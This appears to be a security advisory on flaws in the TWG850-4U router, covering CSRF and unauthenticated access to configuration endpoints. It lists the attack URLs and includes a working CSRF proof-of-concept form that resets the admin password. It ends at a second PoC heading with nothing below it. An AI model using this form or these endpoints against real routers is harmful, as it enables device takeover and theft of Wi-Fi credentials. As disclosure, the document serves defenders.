[Description of Vulnerabilities]
1- Cross-Site Request Forgery
An attacker who lures a TWG850-4U user (authenticated or
unauthenticated) to browse a malicious website can exploit cross site
request forgery (CSRF) to submit commands to the wireless router and
gain control of the product. The attacker could submit variety of
commands including but not limited to changing the admin account
password, the network settings, etc.
All the application is vulnerable, for example it is possible to:
Change user/password & Factory Reset
- http://<Router IP>/goform/RgSecurity
Change wireless settings
- http://<Router IP>/goform/wlanPrimaryNetwork
Restore a backup
- http://<Router IP>/goform/RgBackupRestore
Enable/Disable Advanced Options
- http://<Router IP>/goform/RgOptions
Store a XSS
- http://<Router IP>/goform/RgTime
[PoC for Change user/password]

<form action="http://192.168.0.1/goform/RgSecurity" method="POST">
<input type="hidden" name="HttpUserId" value="" />
<input type="hidden" name="Password" value="admin" />

<input type="hidden" name="RestoreFactoryNo" value="0x00" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
2- Unauthenticated access to resources
It is possible to perform actions within the router configuration
without being authenticated; it's only required to know the proper
urls and parameters. For example it is possible to:
Wireless name and password in plain text
- http://<Router IP>/GatewaySettings.bin
Restore a backup
- http://<Router IP>/goform/RgBackupRestore
Change Advanced Options
- http://<Router IP>/goform/RgOptions
Store a XSS
- http://<Router IP>/goform/RgTime
Change user/password & Factory Reset
- http://<Router IP>/goform/RgSecurity
Change Wireless name and password
- http://<Router IP>/goform/wlanPrimaryNetwork
[PoC for Change Wireless name and password]
